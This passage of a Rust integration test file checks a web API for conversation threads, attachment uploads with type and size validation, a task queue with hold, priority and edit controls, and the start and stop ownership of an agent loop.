5735 let id = f.post("/api/talks", None).await.json()["id"]
5736 .as_str()
5737 .expect("id")
5738 .to_owned();
5739 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5740 assert_eq!(closed.status, 200, "{}", closed.body);
5741 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5742 .expect("serialize closed talk");
5743 for (path, body) in [
5744 (format!("/api/talks/{id}/pending/resume"), None),
5745 (
5746 format!("/api/talks/{id}/pending/clear"),
5747 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5748 ),
5749 (
5750 format!("/api/talks/{id}/pending/edit"),
5751 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5752 ),
5753 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5754 ] {
5755 let response = f.post(&path, body).await;
5756 assert_eq!(response.status, 409, "{}", response.body);
5757 }
5758 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5759 .expect("serialize closed talk");
5760 assert_eq!(
5761 after_clear, before_clear,
5762 "clear must not rewrite a closed talk"
5763 );
5764 }
5765
5766 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5769
5770 #[tokio::test]
5771 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5772 let tmp = TempDir::new().expect("tempdir");
5773 let repo = tmp.path().join("repo");
5774 std::fs::create_dir_all(&repo).expect("repo dir");
5775 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5776 let f = Fixture::with_repo(repo).await;
5777 let id_a = f.post("/api/talks", None).await.json()["id"]
5778 .as_str()
5779 .unwrap()
5780 .to_owned();
5781 let id_b = f.post("/api/talks", None).await.json()["id"]
5782 .as_str()
5783 .unwrap()
5784 .to_owned();
5785
5786 let a = f
5787 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5788 .await;
5789 assert_eq!(a.status, 202, "{}", a.body);
5790 assert_eq!(a.json()["thinking"], true);
5791 let b = f
5792 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5793 .await;
5794 assert_eq!(b.status, 202, "{}", b.body);
5795 assert_eq!(b.json()["thinking"], true);
5796
5797 let listed = f.get("/api/talks").await.json();
5798 for id in [&id_a, &id_b] {
5799 let view = listed
5800 .as_array()
5801 .unwrap()
5802 .iter()
5803 .find(|talk| talk["id"] == *id)
5804 .unwrap();
5805 assert_eq!(view["thinking"], true, "{listed}");
5806 }
5807 let repeated = f
5808 .post(
5809 &format!("/api/talks/{id_a}/say"),
5810 Some(r#"{"text":"again"}"#),
5811 )
5812 .await;
5813 assert_eq!(repeated.status, 202, "{}", repeated.body);
5814 assert_eq!(repeated.json()["pending"], "again");
5815 }
5816
5817 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5820
5821 #[tokio::test]
5822 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5823 let f = Fixture::start().await;
5824 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5825
5826 let res = f
5827 .post_bytes(
5828 &format!("/api/talks/{id}/attachments"),
5829 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5830 PNG_BYTES,
5831 )
5832 .await;
5833 assert_eq!(res.status, 201, "{}", res.body);
5834 let body = res.json();
5835 assert_eq!(body["name"], "shot.png");
5836 assert_eq!(body["mime"], "image/png");
5837 assert_eq!(body["bytes"], PNG_BYTES.len());
5838 let att_id = body["id"].as_str().expect("id").to_owned();
5839 assert_eq!(
5840 att_id.len(),
5841 32,
5842 "the id must never be a client-suppliable path: {att_id}"
5843 );
5844
5845 let got = f
5846 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5847 .await;
5848 assert_eq!(got.status, 200, "{}", got.body);
5849 assert_eq!(got.header("content-type"), Some("image/png"));
5850 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5851 assert_eq!(got.bytes, PNG_BYTES);
5852 }
5853
5854 #[tokio::test]
5855 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5856 let f = Fixture::start().await;
5857 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5858
5859 let svg = f
5862 .post_bytes(
5863 &format!("/api/talks/{id}/attachments"),
5864 &[("Content-Type", "image/svg+xml")],
5865 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5866 )
5867 .await;
5868 assert!(
5869 (400..500).contains(&svg.status),
5870 "svg must be refused: {} {}",
5871 svg.status,
5872 svg.body
5873 );
5874 assert!(svg.body.contains("SVG"), "{}", svg.body);
5875
5876 let text = f
5877 .post_bytes(
5878 &format!("/api/talks/{id}/attachments"),
5879 &[("Content-Type", "text/plain")],
5880 b"just some text",
5881 )
5882 .await;
5883 assert!(
5884 (400..500).contains(&text.status),
5885 "an unlisted type must be refused: {} {}",
5886 text.status,
5887 text.body
5888 );
5889
5890 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5893 let big = f
5894 .post_bytes(
5895 &format!("/api/talks/{id}/attachments"),
5896 &[("Content-Type", "image/png")],
5897 &oversized,
5898 )
5899 .await;
5900 assert_eq!(
5901 big.status,
5902 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5903 "{}",
5904 big.body
5905 );
5906 }
5907
5908 #[tokio::test]
5909 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5910 let f = Fixture::start().await;
5911 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5912
5913 let res = f
5916 .post_bytes(
5917 &format!("/api/talks/{id}/attachments"),
5918 &[("Content-Type", "image/png")],
5919 b"<html>not a picture</html>",
5920 )
5921 .await;
5922 assert!((400..500).contains(&res.status), "{}", res.body);
5923 }
5924
5925 #[tokio::test]
5926 async fn an_unknown_attachment_id_is_a_404() {
5927 let f = Fixture::start().await;
5928 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5929
5930 let res = f
5931 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5932 .await;
5933 assert_eq!(res.status, 404, "{}", res.body);
5934 }
5935
5936 #[tokio::test]
5937 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5938 let f = Fixture::start().await;
5939 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5940
5941 let uploaded = f
5942 .post_bytes(
5943 &format!("/api/talks/{id}/attachments"),
5944 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5945 PNG_BYTES,
5946 )
5947 .await;
5948 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5949 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5950
5951 let res = f
5952 .post(
5953 &format!("/api/talks/{id}/say"),
5954 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
5955 )
5956 .await;
5957 assert_eq!(res.status, 202, "{}", res.body);
5958 let queued = res.json();
5959 let turns = queued["turns"].as_array().expect("turns array");
5960 assert_eq!(
5961 turns.len(),
5962 1,
5963 "an empty body with an attachment is still a turn: {queued}"
5964 );
5965 assert_eq!(turns[0]["who"], "operator");
5966 assert_eq!(turns[0]["body"], "");
5967 let atts = turns[0]["attachments"]
5968 .as_array()
5969 .expect("attachments array");
5970 assert_eq!(atts.len(), 1);
5971 assert_eq!(atts[0]["id"], att_id);
5972 assert_eq!(atts[0]["mime"], "image/png");
5973
5974 let on_disk = f.talks().get(&id).expect("get");
5977 assert_eq!(on_disk.turns[0].attachments.len(), 1);
5978 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
5979 }
5980
5981 #[tokio::test]
5982 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
5983 let f = Fixture::start().await;
5984 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
5985
5986 let res = f
5987 .post(
5988 &format!("/api/talks/{id}/say"),
5989 Some(&format!(
5990 r#"{{"text":"hi","attachments":["{}"]}}"#,
5991 "a".repeat(32)
5992 )),
5993 )
5994 .await;
5995 assert!((400..500).contains(&res.status), "{}", res.body);
5996 assert!(res.body.contains("unknown attachment"), "{}", res.body);
5997
5998 let on_disk = f.talks().get(&id).expect("get");
5999 assert!(
6000 on_disk.turns.is_empty(),
6001 "a rejected attachment id must not partially record the turn: {:?}",
6002 on_disk.turns
6003 );
6004 }
6005
6006 #[tokio::test]
6007 async fn talk_close_makes_the_talk_refuse_further_turns() {
6008 let f = Fixture::start().await;
6009 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6010
6011 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6012 assert_eq!(closed.status, 200, "{}", closed.body);
6013 assert_eq!(closed.json()["status"], "closed");
6014
6015 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6017 assert_eq!(closed_again.status, 200);
6018 assert_eq!(closed_again.json()["status"], "closed");
6019
6020 let said = f
6021 .post(
6022 &format!("/api/talks/{id}/say"),
6023 Some(r#"{"text":"too late"}"#),
6024 )
6025 .await;
6026 assert_eq!(said.status, 409, "{}", said.body);
6027 }
6028
6029 #[tokio::test]
6030 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6031 let (_tmp, _repo, f) = talk_fixture().await;
6032 let id = f.post("/api/talks", None).await.json()["id"]
6033 .as_str()
6034 .expect("id")
6035 .to_owned();
6036 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6037 assert_eq!(closed.status, 200, "{}", closed.body);
6038
6039 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6040 assert_eq!(reopened.status, 200, "{}", reopened.body);
6041 assert_eq!(reopened.json()["status"], "open");
6042
6043 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6045 assert_eq!(reopened_again.status, 200);
6046 assert_eq!(reopened_again.json()["status"], "open");
6047
6048 let said = f
6049 .post(
6050 &format!("/api/talks/{id}/say"),
6051 Some(r#"{"text":"still there?"}"#),
6052 )
6053 .await;
6054 assert_eq!(
6055 said.status, 202,
6056 "a reopened talk accepts turns again: {}",
6057 said.body
6058 );
6059 }
6060
6061 #[tokio::test]
6062 async fn talk_reopen_on_an_unknown_id_is_404() {
6063 let f = Fixture::start().await;
6064 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6065 assert_eq!(res.status, 404, "{}", res.body);
6066 }
6067
6068 #[tokio::test]
6069 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6070 let f = Fixture::start().await;
6071 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6072
6073 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6074 assert_eq!(deleted.status, 204, "{}", deleted.body);
6075
6076 let after = f.get(&format!("/api/talks/{id}")).await;
6077 assert_eq!(after.status, 404, "{}", after.body);
6078
6079 let listed = f.get("/api/talks").await.json();
6080 assert!(
6081 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6082 "a deleted talk must not linger in the list: {listed}"
6083 );
6084 }
6085
6086 #[tokio::test]
6087 async fn talk_delete_on_an_unknown_id_is_404() {
6088 let f = Fixture::start().await;
6089 let res = f.delete("/api/talks/nonexistent-id").await;
6090 assert_eq!(res.status, 404, "{}", res.body);
6091 }
6092
6093 #[tokio::test]
6094 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6095 let f = Fixture::start().await;
6096 let queue = f.queue();
6097 let mut task = Task::new(
6098 "spent".to_owned(),
6099 "Try again".to_owned(),
6100 PathBuf::from("/repo/magi"),
6101 Source::Human,
6102 );
6103 task.start("20260902-140502-bbbb".to_owned());
6104 task.fail("agent gave up", 9);
6105 queue.put(&mut task).expect("file the task");
6106
6107 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6108 assert_eq!(held.status, 200);
6109 assert_eq!(held.json()["status_str"], "held");
6110
6111 let released = f
6112 .post(&format!("/api/queue/{}/release", task.id), None)
6113 .await;
6114 assert_eq!(released.status, 200);
6115 assert_eq!(released.json()["status_str"], "queued");
6116 assert_eq!(
6117 released.json()["attempts"],
6118 0,
6119 "release is a real second chance, not an instant re-hold"
6120 );
6121 assert_eq!(
6122 queue.get(&task.id).expect("reload").status,
6123 TaskStatus::Queued,
6124 "the change is on disk, not only in the reply"
6125 );
6126 assert!(
6127 !f.home
6128 .path()
6129 .join("queue")
6130 .join(format!("{}.lock", task.id))
6131 .exists(),
6132 "the claim the mutation took is released again"
6133 );
6134 }
6135
6136 #[tokio::test]
6137 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6138 let f = Fixture::start().await;
6139 let queue = f.queue();
6140 let mut task = Task::new(
6141 "busy".to_owned(),
6142 "Running right now".to_owned(),
6143 PathBuf::from("/repo/magi"),
6144 Source::Human,
6145 );
6146 queue.put(&mut task).expect("file the task");
6147 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6148
6149 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6150
6151 assert_eq!(res.status, 409);
6152 assert_eq!(
6153 queue.get(&task.id).expect("reload").status,
6154 TaskStatus::Queued,
6155 "the refused hold changed nothing"
6156 );
6157 }
6158
6159 #[tokio::test]
6160 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6161 let f = Fixture::start().await;
6162 let queue = f.queue();
6163 let mut task = Task::new(
6164 "waiting on the migration".to_owned(),
6165 "Do the thing".to_owned(),
6166 PathBuf::from("/repo/magi"),
6167 Source::Human,
6168 );
6169 queue.put(&mut task).expect("file the task");
6170
6171 let held = f
6172 .post(
6173 &format!("/api/queue/{}/hold", task.id),
6174 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6175 )
6176 .await;
6177 assert_eq!(held.status, 200, "{}", held.body);
6178 assert_eq!(held.json()["status_str"], "held");
6179 assert_eq!(
6180 held.json()["hold_reason"],
6181 "waiting for 20260101-000000-aaaa to land"
6182 );
6183
6184 let listed = f.get("/api/queue").await.json();
6185 assert_eq!(
6186 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6187 "the card reads the reason off the same list route"
6188 );
6189
6190 let mut plain = Task::new(
6193 "no reason given".to_owned(),
6194 "Do another thing".to_owned(),
6195 PathBuf::from("/repo/magi"),
6196 Source::Human,
6197 );
6198 queue.put(&mut plain).expect("file the task");
6199 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6200 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6201 assert!(held_plain.json()["hold_reason"].is_null());
6202
6203 let released = f
6204 .post(&format!("/api/queue/{}/release", task.id), None)
6205 .await;
6206 assert_eq!(released.status, 200);
6207 assert!(
6208 released.json()["hold_reason"].is_null(),
6209 "a release must clear the reason so the next hold does not inherit it"
6210 );
6211 }
6212
6213 #[tokio::test]
6214 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6215 let f = Fixture::start().await;
6216 let queue = f.queue();
6217 let mut older = Task::new(
6218 "filed first".to_owned(),
6219 "x".to_owned(),
6220 PathBuf::from("/repo/magi"),
6221 Source::Human,
6222 );
6223 older.id = "20260101-000001-aaaa".to_owned();
6224 let mut newer = Task::new(
6225 "filed second".to_owned(),
6226 "x".to_owned(),
6227 PathBuf::from("/repo/magi"),
6228 Source::Human,
6229 );
6230 newer.id = "20260101-000002-bbbb".to_owned();
6231 queue.put(&mut older).expect("file older");
6232 queue.put(&mut newer).expect("file newer");
6233
6234 let before = f.get("/api/queue").await.json();
6237 assert_eq!(before[0]["id"], newer.id);
6238 assert_eq!(before[1]["id"], older.id);
6239
6240 let raised = f
6244 .post(
6245 &format!("/api/queue/{}/priority", older.id),
6246 Some(r#"{"priority":10}"#),
6247 )
6248 .await;
6249 assert_eq!(raised.status, 200, "{}", raised.body);
6250 assert_eq!(raised.json()["priority"], 10);
6251
6252 let after = f.get("/api/queue").await.json();
6253 let names: Vec<&str> = after
6254 .as_array()
6255 .unwrap()
6256 .iter()
6257 .map(|t| t["id"].as_str().unwrap())
6258 .collect();
6259 assert_eq!(names[0], older.id, "the raised task now sorts first");
6263 }
6264
6265 #[tokio::test]
6266 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6267 let f = Fixture::start().await;
6268 let queue = f.queue();
6269 let mut task = Task::new(
6270 "in flight".to_owned(),
6271 "x".to_owned(),
6272 PathBuf::from("/repo/magi"),
6273 Source::Human,
6274 );
6275 task.start("20260902-140502-bbbb".to_owned());
6276 queue.put(&mut task).expect("file the task");
6277
6278 let res = f
6279 .post(
6280 &format!("/api/queue/{}/priority", task.id),
6281 Some(r#"{"priority":9}"#),
6282 )
6283 .await;
6284 assert_eq!(res.status, 400, "{}", res.body);
6285 assert!(
6286 res.json()["error"]
6287 .as_str()
6288 .is_some_and(|e| e.contains("running")),
6289 "{}",
6290 res.body
6291 );
6292 assert_eq!(
6293 queue.get(&task.id).expect("reload").priority,
6294 0,
6295 "the refused write must not partially apply"
6296 );
6297 }
6298
6299 #[tokio::test]
6300 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6301 let f = Fixture::start().await;
6302 let queue = f.queue();
6303 let mut task = Task::new(
6304 "old title".to_owned(),
6305 "old instruction".to_owned(),
6306 PathBuf::from("/repo/magi"),
6307 Source::Agent {
6308 run: "20260101-000000-beef".to_owned(),
6309 node: "implement".to_owned(),
6310 },
6311 );
6312 task.runs.push("20260101-000000-beef".to_owned());
6313 queue.put(&mut task).expect("file the task");
6314 let created_at = task.created_at;
6315
6316 let edited = f
6317 .post(
6318 &format!("/api/queue/{}/edit", task.id),
6319 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6320 )
6321 .await;
6322 assert_eq!(edited.status, 200, "{}", edited.body);
6323 let body = edited.json();
6324 assert_eq!(body["title"], "new title");
6325 assert_eq!(body["instruction"], "new instruction");
6326 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6327 assert_eq!(body["created_at"], created_at.to_string());
6328 assert_eq!(
6329 body["source"]["kind"], "agent",
6330 "editing a task an agent filed must not turn it human: {body}"
6331 );
6332 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6333
6334 let reloaded = queue.get(&task.id).expect("reload");
6335 assert_eq!(reloaded.title, "new title");
6336 assert_eq!(reloaded.instruction, "new instruction");
6337 }
6338
6339 #[tokio::test]
6340 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6341 let f = Fixture::start().await;
6342 let queue = f.queue();
6343 let mut task = Task::new(
6344 "in flight".to_owned(),
6345 "do not touch".to_owned(),
6346 PathBuf::from("/repo/magi"),
6347 Source::Human,
6348 );
6349 task.start("20260902-140502-bbbb".to_owned());
6350 queue.put(&mut task).expect("file the task");
6351
6352 let res = f
6353 .post(
6354 &format!("/api/queue/{}/edit", task.id),
6355 Some(r#"{"title":"x","instruction":"y"}"#),
6356 )
6357 .await;
6358 assert_eq!(res.status, 400, "{}", res.body);
6359 assert!(
6360 res.json()["error"]
6361 .as_str()
6362 .is_some_and(|e| e.contains("running")),
6363 "{}",
6364 res.body
6365 );
6366 assert_eq!(
6367 queue.get(&task.id).expect("reload").instruction,
6368 "do not touch",
6369 "the refused edit must not change the file"
6370 );
6371 }
6372
6373 #[tokio::test]
6374 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6375 let f = Fixture::start().await;
6376 let queue = f.queue();
6377 let mut task = Task::new(
6378 "busy".to_owned(),
6379 "Running right now".to_owned(),
6380 PathBuf::from("/repo/magi"),
6381 Source::Human,
6382 );
6383 queue.put(&mut task).expect("file the task");
6384 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6385
6386 let priority = f
6387 .post(
6388 &format!("/api/queue/{}/priority", task.id),
6389 Some(r#"{"priority":9}"#),
6390 )
6391 .await;
6392 assert_eq!(priority.status, 409, "{}", priority.body);
6393
6394 let edit = f
6395 .post(
6396 &format!("/api/queue/{}/edit", task.id),
6397 Some(r#"{"title":"x","instruction":"y"}"#),
6398 )
6399 .await;
6400 assert_eq!(edit.status, 409, "{}", edit.body);
6401 }
6402
6403 #[tokio::test]
6404 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6405 let f = Fixture::start().await;
6406 let queue = f.queue();
6407 let mut task = Task::new(
6408 "shipped by hand".to_owned(),
6409 "merged outside the loop".to_owned(),
6410 PathBuf::from("/repo/magi"),
6411 Source::Agent {
6412 run: "20260101-000000-b455".to_owned(),
6413 node: "implement".to_owned(),
6414 },
6415 );
6416 task.runs.push("20260101-000000-b455".to_owned());
6417 task.runs.push("20260101-000000-9af4".to_owned());
6418 queue.put(&mut task).expect("file the task");
6419 let created_at = task.created_at;
6420
6421 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6422 assert_eq!(done.status, 200, "{}", done.body);
6423 assert_eq!(done.json()["status_str"], "done");
6424
6425 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6426 assert_eq!(
6427 reloaded.runs,
6428 ["20260101-000000-b455", "20260101-000000-9af4"]
6429 );
6430 assert_eq!(
6431 reloaded.source,
6432 Source::Agent {
6433 run: "20260101-000000-b455".to_owned(),
6434 node: "implement".to_owned(),
6435 }
6436 );
6437 assert_eq!(reloaded.created_at, created_at);
6438 }
6439
6440 #[tokio::test]
6441 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6442 let f = Fixture::start().await;
6447 let queue = f.queue();
6448 let mut task = Task::new(
6449 "landed while held".to_owned(),
6450 "x".to_owned(),
6451 PathBuf::from("/repo/magi"),
6452 Source::Human,
6453 );
6454 task.hold_manual(Some("waiting on 3ed9".to_owned()));
6455 queue.put(&mut task).expect("file the held task");
6456
6457 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6458 assert_eq!(done.status, 200, "{}", done.body);
6459 assert_eq!(done.json()["status_str"], "done");
6460 assert!(
6461 done.json()["hold_reason"].is_null(),
6462 "a done task cannot still be waiting on something: {}",
6463 done.body
6464 );
6465 }
6466
6467 #[tokio::test]
6468 async fn unknown_ids_are_json_not_found_on_both_stores() {
6469 let f = Fixture::start().await;
6470
6471 let run = f.get("/api/runs/nosuchrun").await;
6472 let task = f.post("/api/queue/nosuchtask/hold", None).await;
6473
6474 assert_eq!(run.status, 404);
6475 assert_eq!(task.status, 404);
6476 assert!(
6477 run.json()["error"]
6478 .as_str()
6479 .is_some_and(|e| e.contains("run")),
6480 "the error names what was not found: {}",
6481 run.body
6482 );
6483 assert!(
6484 task.json()["error"]
6485 .as_str()
6486 .is_some_and(|e| e.contains("task")),
6487 "the error names what was not found: {}",
6488 task.body
6489 );
6490 }
6491
6492 #[tokio::test]
6493 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6494 let f = Fixture::start().await;
6495
6496 let missing = f.get("/api/health").await.json();
6497 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6498
6499 write_daemon(
6500 f.home.path(),
6501 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6502 );
6503 let stale = f.get("/api/health").await.json();
6504 assert_eq!(
6505 stale["daemon"]["running"], false,
6506 "a minute without a heartbeat is a dead daemon, not a busy one"
6507 );
6508 assert!(
6509 stale["daemon"]["stale_for_secs"]
6510 .as_i64()
6511 .is_some_and(|s| s >= 55),
6512 "staleness is reported so the UI can say how long: {stale}"
6513 );
6514
6515 write_daemon(f.home.path(), Timestamp::now());
6516 let fresh = f.get("/api/health").await.json();
6517 assert_eq!(fresh["daemon"]["running"], true);
6518 assert_eq!(fresh["daemon"]["idle"], false);
6519 assert_eq!(fresh["daemon"]["pid"], 4242);
6520 assert_eq!(fresh["daemon"]["completed"], 7);
6521 assert_eq!(
6522 fresh["daemon"]["current"][0]["task"],
6523 "20260902-140501-aaaa"
6524 );
6525 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6526 }
6527
6528 #[tokio::test]
6529 async fn the_loop_is_not_running_until_something_starts_it() {
6530 let f = Fixture::start().await;
6531
6532 let view = f.get("/api/loop").await.json();
6533 assert_eq!(view["running"], false);
6534 assert_eq!(
6535 view["owned"], false,
6536 "nobody owns a loop that does not exist: {view}"
6537 );
6538 assert_eq!(view["stopping"], false);
6539 assert_eq!(view["last_error"], Value::Null);
6540 assert_eq!(view["daemon"]["running"], false);
6541 assert_eq!(
6542 view["repo"], "/repo/magi",
6543 "the repository a start would use, named before it is started"
6544 );
6545 }
6546
6547 #[tokio::test]
6548 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6549 let f = Fixture::start().await;
6550
6551 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6552 assert_eq!(res.status, 200, "{}", res.body);
6553 let view = res.json();
6554 assert_eq!(view["running"], true);
6555 assert_eq!(
6556 view["owned"], true,
6557 "the loop the UI started is the UI's own to stop: {view}"
6558 );
6559 assert_eq!(
6560 view["merge"],
6561 Value::Null,
6562 "no override was given, so each repository's own config decides"
6563 );
6564
6565 let health = f.get("/api/health").await.json();
6569 assert_eq!(health["loop"]["running"], true, "{health}");
6570 assert_eq!(health["loop"]["owned"], true, "{health}");
6571
6572 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6573 }
6574
6575 #[tokio::test]
6576 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6577 let f = Fixture::start().await;
6578 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6579 assert_eq!(first.status, 200, "{}", first.body);
6580
6581 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6582 assert_eq!(
6583 again.status, 409,
6584 "two loops on one queue race for the same claims: {}",
6585 again.body
6586 );
6587 assert!(
6588 again.json()["error"]
6589 .as_str()
6590 .is_some_and(|e| e.contains("already running the loop")),
6591 "the refusal has to say why: {}",
6592 again.body
6593 );
6594 assert_eq!(
6595 f.get("/api/loop").await.json()["running"],
6596 true,
6597 "and the loop that was already running is untouched by it"
6598 );
6599
6600 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6601 }
6602
6603 #[tokio::test]
6604 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6605 let f = Fixture::start().await;
6606 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6607
6608 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6609 assert_eq!(
6610 res.status, 200,
6611 "the answer must not wait for the loop: a run in flight is tens of \
6612 minutes and the operator is holding a phone: {}",
6613 res.body
6614 );
6615
6616 let view = settled(&f, |v| v["running"] == false).await;
6617 assert_eq!(view["owned"], false);
6618 assert_eq!(
6619 view["stopping"], false,
6620 "a loop that has stopped is not still stopping: {view}"
6621 );
6622 assert_eq!(
6623 view["last_error"],
6624 Value::Null,
6625 "a loop that was asked to stop did not fail: {view}"
6626 );
6627
6628 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6631 assert_eq!(twice.status, 200, "{}", twice.body);
6632 }
6633
6634 #[tokio::test]
6635 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6636 let f = Fixture::start().await;
6637 write_daemon(f.home.path(), Timestamp::now());
6640
6641 let view = f.get("/api/loop").await.json();
6642 assert_eq!(view["running"], false, "not in this process: {view}");
6643 assert_eq!(view["owned"], false, "and not this process's to control");
6644 assert_eq!(
6645 view["daemon"]["running"], true,
6646 "but a loop is alive somewhere, which is what the UI must say"
6647 );
6648 assert_eq!(view["daemon"]["pid"], 4242);
6649
6650 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6651 let res = f.post("/api/loop", Some(body)).await;
6652 assert_eq!(
6653 res.status, 409,
6654 "neither button may pretend to work on someone else's loop: {}",
6655 res.body
6656 );
6657 assert!(
6658 res.json()["error"]
6659 .as_str()
6660 .is_some_and(|e| e.contains("4242")),
6661 "the refusal has to name the process the operator must go to: {}",
6662 res.body
6663 );
6664 }
6665 assert_eq!(
6666 f.get("/api/loop").await.json()["running"],
6667 false,
6668 "and the refusal started nothing"
6669 );
6670 }
6671
6672 #[tokio::test]
6673 async fn a_stale_status_file_is_not_a_foreign_owner() {
6674 let f = Fixture::start().await;
6675 write_daemon(
6676 f.home.path(),
6677 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6678 );
6679
6680 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6681 assert_eq!(
6682 res.status, 200,
6683 "a daemon killed a minute ago must not lock the loop out of its \
6684 own home for good: {}",
6685 res.body
6686 );
6687 assert_eq!(res.json()["running"], true);
6688
6689 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6690 }
6691
6692 #[tokio::test]
6693 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6694 let f = Fixture::start().await;
6695 let before = f.get("/api/health").await.json()["loop_rev"]
6696 .as_u64()
6697 .expect("a loop revision");
6698
6699 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6700
6701 let after = f.get("/api/health").await.json()["loop_rev"]
6702 .as_u64()
6703 .expect("a loop revision");
6704 assert!(
6705 after > before,
6706 "the loop is in-process state, so this counter is the only thing \
6707 that tells a second device the first one started it: {before} -> \
6708 {after}"
6709 );
6710
6711 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6712 }
6713
6714 #[tokio::test]
6715 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6716 let f = Fixture::with_loop(launch_broken).await;
6717
6718 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6719 assert_eq!(
6720 res.status, 200,
6721 "starting it is not the failure: {}",
6722 res.body
6723 );
6724
6725 let view = settled(&f, |v| v["last_error"].is_string()).await;
6726 assert_eq!(
6727 view["running"], false,
